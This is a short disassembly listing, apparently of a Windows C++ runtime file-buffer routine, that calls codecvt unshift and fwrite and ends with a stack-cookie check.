call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180005544
sub eax, 1
je 0x180005548
cmp eax, 2
jne 0x18000557f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180027920
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180005576
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18000557f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x18000552c
xor al, al
jmp 0x18000552c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180027920
add rsp, 0x60
pop rbx
ret